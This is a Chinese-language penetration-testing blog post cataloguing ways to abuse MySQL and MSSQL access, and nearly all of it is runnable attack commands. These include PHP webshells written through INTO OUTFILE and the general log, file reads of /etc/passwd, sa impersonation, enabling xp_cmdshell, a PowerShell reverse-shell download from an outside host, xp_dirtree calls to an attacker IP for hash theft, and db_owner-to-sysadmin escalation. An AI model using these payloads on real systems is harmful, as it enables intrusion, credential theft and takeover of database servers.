这篇文章瘾小生其实想了很久，到底是放在何处，最终还是想着单拎出来总结，因为数据库攻击对我们而言非常重要，而且内容众多。本篇文章将讲述在各位获取数据库权限的情况下，各个数据库会被如何滥用，以及能够滥用到什么程度。之后也会不断更新这篇文章，让文章与时俱进。
Mysql
mysql主要可以完成以下功能：
1.outfile文件写入
2.日志文件写入
3.数据爬取
4.文件读取
滥用场景就是大家发挥想象力了，大家可以想象mysql被咱们控制就意味着我们拥有上述能力。
outfile文件写入
mysql> SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE '/var/www/html/webshell.php';
如果我们在dba权限下依旧无法完成这个过程，很有可能是写入位置被限制了。我们需要有root账户对相关配置进行修改
mysql> show variables like "secure_file_priv";
mysqld --secure-file-priv=/your/custom/path/
日志文件写入
日志文件写入存在一些问题，因为我们只是具备插入数据的能力，并不能控制整个文件，这是值得注意的，在webshell上传过程中没有太大问题。
SHOW VARIABLES LIKE '%log%';
SET GLOBAL general_log = 'ON';
SET GLOBAL general_log_file = '/path/to/general.log'; #写在Webshell处
完成上面配置后，mysql就会开始记录日志，然后我们执行语句，就会将语句插入到日志中了。
SELECT '<?php system($_GET["cmd"]); ?>';
数据爬取
#包含user和password列的表有哪些
SELECT TABLE_SCHEMA, TABLE_NAME, COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE COLUMN_NAME IN ('user', 'password') ORDER BY TABLE_SCHEMA, TABLE_NAME;
#表名包含敏感信息的
SELECT TABLE_SCHEMA, TABLE_NAME
FROM INFORMATION_SCHEMA.TABLES
WHERE TABLE_NAME LIKE '%user%'
OR TABLE_NAME LIKE '%account%'
OR TABLE_NAME LIKE '%manager%'
ORDER BY TABLE_SCHEMA, TABLE_NAME;
文件读取
mysql> select LOAD_FILE("/etc/passwd");
+--------------------------+
| LOAD_FILE("/etc/passwd")
+--------------------------------------------------+
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
<SNIP>
mssql
mssql的功能就比较复杂了，通常和域高度绑定，也是我们的重要目标点。主要有以下内容：
1.冒充用户
2.链接服务器mssql命令执行
3.文件读取
4.文件写入
5.xp_cmdshell导致RCE
6.xp_dirtree、xp_subdirs、xp_fileexist配合smbserver窃取凭证&中继哈希攻击
7.执行Python和R语言脚本导致RCE
8.普通用户从db_owner数据库提权
9.autoadmin_task_agents进行RCE
冒充用户
mssql允许执行用户获取另一个用户的登录权限。
# Find users you can impersonate
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
# Check if the user "sa" or any other high privileged user is mentioned
# Impersonate sa user
EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
链接服务器执行mssql命令
mssql能够进行连接来统一管理，我们可以利用这种信任关系游荡于mssql之间。[]里面就是链接的服务器
#展现所有链接的mssql
SELECT srvname, isremote FROM sysservers
#查看链接服务器上的权限
EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [LOCAL.TEST.LINKED.SRV]
#在链接服务器上执行mssql语句
EXECUTE("SELECT * FROM OPENROWSET(BULK N'C:/Users/Administrator/Desktop/flag.txt', SINGLE_CLOB) AS Contents") AT [LOCAL.TEST.LINKED.SRV]
文件读取
mssql可以读取响应权限的文件
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
文件写入
mssql写入文件必须要开启Ole程序
# Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
RECONFIGURE
sp_configure 'Ole Automation Procedures', 1
RECONFIGURE
# Create a File
DECLARE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE
xp_cmdshell导致RCE
参考于https://book.hacktricks.xyz/cn/network-services-pentesting/pentesting-mssql-microsoft-sql-server
# Check if xp_cmdshell is enabled
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';
# This turns on advanced options and is needed to configure xp_cmdshell
sp_configure 'show advanced options', '1'
RECONFIGURE
#This enables xp_cmdshell
sp_configure 'xp_cmdshell', '1'
RECONFIGURE
#One liner
EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
# Quickly check what the service account is via xp_cmdshell
EXEC master..xp_cmdshell 'whoami'
# Get Rev shell
EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile'
# Bypass blackisted "EXEC xp_cmdshell"
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' ---
xp_dirtree、xp_subdirs、xp_fileexist配合smbserver窃取凭证&中继哈希攻击
我们在此仅讨论触发此类攻击的命令，因为这些指令可以让攻击者将hash传递给攻击者设备，攻击者拿到这些hash后可以自行选择是中继还是窃取，这个过程不在此讨论，因为不知本文章的重点。关于中继和窃取的服务搭建，可以查看我的文章渗透测试--哈希窃取&哈希中继攻击-CSDN博客
xp_dirtree '\\<attacker_IP>\any\thing'
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
EXEC master..xp_subdirs '\\<attacker_IP>\anything\'
EXEC master..xp_fileexist '\\<attacker_IP>\anything\'
执行Python和R语言脚本导致RCE
mssql还存在调用Python和R语言脚本的能力。这可以结合我们之前的文章完成RCE和文件传输。渗透测试--编程语言传输文件-CSDN博客
# Print the user being used (and execute commands)
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
#Open and read a file
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
#Multiline
EXECUTE sp_execute_external_script @language = N'Python', @script = N'
import sys
print(sys.version)
'
GO
普通用户从db_owner数据库提权
目前未碰到这种情况，未进行个人验证。
转载于https://book.hacktricks.xyz/cn/network-services-pentesting/pentesting-mssql-microsoft-sql-server
# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases
# Find trustworthy databases
SELECT a.name,b.is_trustworthy_on
FROM master..sysdatabases as a
INNER JOIN sys.databases as b
ON a.name=b.name;
# Get roles over the selected database (look for your username as db_owner)
USE <trustworthy_db>
SELECT rp.name as database_role, mp.name as database_user
from sys.database_role_members drm
join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)
# If you found you are db_owner of a trustworthy database, you can privesc:
--1. Create a stored procedure to add your user to sysadmin role
USE <trustworthy_db>
CREATE PROCEDURE sp_elevate_me
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'USERNAME','sysadmin'
--2. Execute stored procedure to get sysadmin role
USE <trustworthy_db>
EXEC sp_elevate_me
--3. Verify your user is a sysadmin
SELECT is_srvrolemember('sysadmin')
autoadmin_task_agents进行RCE
该操作未经过验证，转载于https://book.hacktricks.xyz/cn/network-services-pentesting/pentesting-mssql-microsoft-sql-server
根据这篇文章，也可以加载远程 dll 并使 MSSQL 执行它，方法如下：
update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1";
using Microsoft.SqlServer.SmartAdmin;
using System;
using System.Diagnostics;
namespace Class1
{
public class Class1 : TaskAgent
{
public Class1()
{
Process process = new Process();
process.StartInfo.FileName = "cmd.exe";
process.StartInfo.Arguments = "/c ping localhost -t";
process.StartInfo.UseShellExecute = false;
process.StartInfo.RedirectStandardOutput = true;
process.Start();
process.WaitForExit();
}
public override void DoWork()
{
}
public override void ExternalJob(string command, LogBaseService jobLogger)
{
}
public override void Start(IServicesFactory services)
{
}
public override void Stop()
{
}
public void Test()
{
}
}
}